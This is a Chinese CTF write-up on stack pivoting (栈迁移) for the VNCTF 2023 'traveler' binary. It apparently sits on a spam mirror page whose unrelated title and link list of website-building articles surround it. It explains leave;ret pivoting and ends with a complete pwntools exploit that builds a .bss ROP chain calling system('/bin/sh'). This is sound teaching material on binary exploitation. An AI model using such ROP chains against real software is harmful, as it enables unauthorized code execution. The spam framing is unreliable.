当前位置: 首页 > news >正文

电子商务网站应该如何建设营销推广有哪些方式

电子商务网站应该如何建设,营销推广有哪些方式,wordpress外汇主题,南昌网站建设志博文章目录 栈迁移具体流程 VNCTF 2023 traveler libc-2.27检查源码main函数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/386c35c30f854434ae43667b9473c58a.png)全局变量地址局部变量地址 PIE保护开启PIE关闭PIE 思路exp 栈迁移参考 栈迁移参考 栈迁移 顾名思义… 文章目录 栈迁移具体流程 VNCTF 2023 traveler libc-2.27检查源码main函数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/386c35c30f854434ae43667b9473c58a.png)全局变量地址局部变量地址 PIE保护开启PIE关闭PIE 思路exp 栈迁移参考 栈迁移参考 栈迁移 顾名思义就是将当前的栈帧迁移到其他位置即rsp和rbp改变到某些位置去 核心思想先向某个内存区域写入gadget然后通过第一次leave_ret修改rbp为之前溢出保存的rbpret再执行leave_ret然后再将rsp的值修改为了rbp然后再pop rbp将写入gadget的内存区域的前八个字节作为新的rbpret再执行写入gadget的内存地址8处的指令。多次栈迁移就在写入gadget的内存区域的前八个字节作为待会要迁移到的rsp的地址然后在最后部分也是leave_ret此时记得leave_ret之前仍需提前构造好待会要迁移到的rsp的地址的gadget内容。否则leave_ret后虽然迁移过去了但是ret可能执行不了 具体流程 leave相当于mov rsp,rbp pop rbp;ret相当于pop rip;mov rsp,rbp 将rbp的值赋值给rsp寄存器pop rbp 把栈顶的值弹到rbp寄存器里 首先是确保可以栈溢出将 ebp,ret_addr 都可以覆盖 每个函数最后会执行leaveret此时会将rbp的值赋值给rsp然后将栈顶的值此时栈顶保存的是之前保存的rbp给rbp当溢出修改原来保存的rbp后当执行leave后rbp被修改为之前溢出修改的rbp此时返回地址也应在之前就溢出修改为leaveret的地址当执行返回地址时此时会将rsp也移动到修改后的rbp的位置之后将此时rsp的栈顶的内容弹出给rbp然后rbp被再次修改然后再执行此时的栈顶的内容指向的位置 总结 . 第一次leaveret修改rbp为之前溢出保存的rbp. 第二次leaveret此时修改rsp为修改后的rbp的值同时会再次pop修改rbp的内容。此时ret指令会指向当前栈顶的内容指向的地址的指令这样可以多次栈迁移只需保证leave时pop时的内容为需要去的位置然后最后只需leaveret便可继续执行对应位置的rop链 VNCTF 2023 traveler libc-2.27 检查 可栈溢出 源码 main函数 存在明显的栈溢出并且只能溢出16个字节即只能修改保存的rbp值和返回地址 全局变量地址 局部变量地址 PIE保护 PIE保护会修改程序允许时候的加载地址但程序内部各个段之间的位置的相对偏移是不会变的即可以认为变了程序放进内存的起始地址只变了起点然后在接着把其放进去程序本身没有变化 所以说如果开启了PIE那么程序内部是没有变化的但由于基地址改变所以各个段的位置都会在原本的程序的相对偏移之上再加上起始地址 开启PIE 关闭PIE 由于此时本身traveler文件是关闭PIE的我可以接到IDA中去找gadget并且全部变量的位置也可以到IDA中找 思路 此时程序中有system函数且关闭PIE那么可以直接调用IDA中中对应system的地址如果可执行程序中没有system函数可能需要libc基地址system偏移。题目既然给了system函数那就用吧 参数/bin/sh的解决反正程序肯定需要栈迁移不然溢出的范围太少不能添入一些构造参数的gadget和函数的gadget所以肯定到迁移的地方填充gadget。关于/bin/sh的地址我们可以在全局变量处输入/bin/sh由于知道全局变量的地址所以可以知道/bin/sh的地址 注意 此时发现出现错误原因是RSP对应的位置是不能写的 此时该部分地址只允许读不允许写此时操作需要写所以报错 此时可以通过抬高在调用system之前抬高RSP的值避免出现这种情况需要再次修改RSP则需再次栈迁移 结合调用system时的RSP和此时报错时的RSP此时RSP减少了0x300多所以保险起见准备将RSP再次迁移到为0x400的位置然后发现还是会出现某些bug为了以防万一还是尽可能往大调吧 首先修改保存的rbp为bss上能够在main函数结束前写入rop链的位置然后返回地址是leave_re从而使得此时能够将rsp移动到已经写好rop链的地方。 这里最终修改rbp为自己溢出的保存的rbp然后再执行leave_ret是在main函数结束时此时在main函数结束前还需执行一个read函数往bss段上写入数据此时写入相应的rop链此时第一个值为待会要给rbp修改的新值然后是一系列gadget。由于之前说过执行system时候rsp不能过低。而如果此时的gadget直接是system的gadget那么rsp较低会出现之前的情况所以我们还需栈迁移一次修改rsp的值然后在执行相应的rop链。所以此时的gadget应该是能够进行栈迁移的即为待会要改到的rsp值修改参数的gadgetread函数leave_ret,此时由于想直接用程序内的gadget来构造参数此时可以以原函数开始准备read函数调用的地址作为调用read函数地址此时可以参数构造就不要担心需要找gadget或者直接利用read函数后rdi rsi rdx没有被修改的特点从而只修改rsi即可正好存在这样的gadgetmain函数ret结束前调用的最后一个函数是向bss段输入数据。此时我选择第二种输入为 bss上的大地址pop_rsi_ret参数read_pltleave_ret 但此时出现一个问题此时对应的输入是大于0x28的emmmm所以怎么办呢 如果此时能够少一个8个字节的项就好了由于pop_rsi_ret参数read_pltleave_ret都不能少这样才能成功栈迁移并往bss上的大地址写入rop链。所以如果能再输入一次然后只用输入这些gadget即可同时还要保证rop链执行的连续 这个时候有个很精彩的方法就是先read往read下一条指令的位置写入gadget然后read结束后也就执行之前写入的gadget了因为read函数里要执行ret时内容已经写入对应位置了。注意这里不能调用read的函数不要用call read否则会压入一个返回地址这个返回地址是call read指令部分的下一条地址这样就没办法成功构成rop链了。 所以此时第一次输入为bss上的大地址pop_rsi_ret参数read_plt (此时的参数是第二次输入的地址) 然后第二次输入为pop_rsi_ret参数read_pltleave_ret此时的参数是 bss上的大地址 最后再输入的gadget就是/bin/sh\x00pop_rdi_ret参数system函数地址(参数为/bin/sh的地址) exp from pwn import* context(oslinux,archamd64,log_leveldebug) tprocess(./traveler) elfELF(./traveler) #gdb.attach(t,b ,main) bss_addr0x00000000004040A0 pop_rdi0x00000000004012c3 system_addr0x0000000000401090 pop_rsi_r15_ret 0x004012c1 leave_ret0x0000000000401253 read_addrelf.plt[read] ret 0x40101apayloadba*0x20p64(bss_addr)p64(leave_ret) t.sendafter(bwho r u?\n,payload)payloadp64(bss_addr0x700)p64(pop_rsi_r15_ret)p64(bss_addr0x28)p64(0)p64(read_addr) #分两次的原因原来的rdx是0x28,如果整合到一个gadget需要多八个字节所以分两次read t.sendafter(bHow many travels can a person have in his life?\n,payload)payloadp64(pop_rsi_r15_ret)p64(bss_addr0x700)p64(0)p64(read_addr)p64(leave_ret) t.send(payload) payloadb/bin/sh\x00p64(pop_rdi)p64(bss_addr0x700) p64(ret) p64(system_addr) t.send(payload) t.interactive()
http://www.pierceye.com/news/232040/

相关文章:

  • 网站建设文献文档单产品网站建设
  • 唐山网站建设自主开发宁波北仑做公司网站
  • 廊坊网页模板建站专业网站建设公司排名
  • 广州本地生活appseo百度百科
  • 成都产品网站建设镜像网站是怎么做的
  • 网站建设需求分析范例中国建设信息网站
  • 提供网站建设工具的品牌如何自己开个网站平台
  • 站长工具seo综合查询怎么去掉百家号查询排名数据查询
  • 网站怎么做商家定位注册网站不用手机短信验证的网站
  • 郑州医疗网站建设线下推广团队
  • 合肥网站推广 公司哪家好阿里云注销网站
  • 手机网站调用分享网站用户体验存在问题
  • 淘宝网官方网站路飞和女帝做h的网站
  • app网站设计制作360网站 备案
  • 网站建设多久能学会内丘网站建设案例
  • 网站设计要素 优帮云卖东西专业网站网上
  • 做古风人物小图的网站或软件东莞附近的网络推手公司
  • 东莞专业的单位网站建设江苏网站建设定制
  • 宁夏建设工程造价站网站东营网站seo外包
  • 推销网站建设今天重大新闻文字
  • 网站上线过程网站开发系统需求说明书
  • it外包行业江门seo网络推广
  • 深圳石岩建网站判断网站模板版本
  • 梅州市住房和城乡建设局网站东营网站
  • 免费手机端网站模板下载工具windows怎么做网站
  • 新乡网站自然优化本地电脑如何做网站服务器
  • 网站备案是域名备案还是服务器备案辽宁天一建设有限责任公司网站
  • 做网站的软件是什么阿里云官网入口
  • 徐州网站建设服务网络营销方式的优点
  • 建设电影网站点击播放是乱页的建站网站多少钱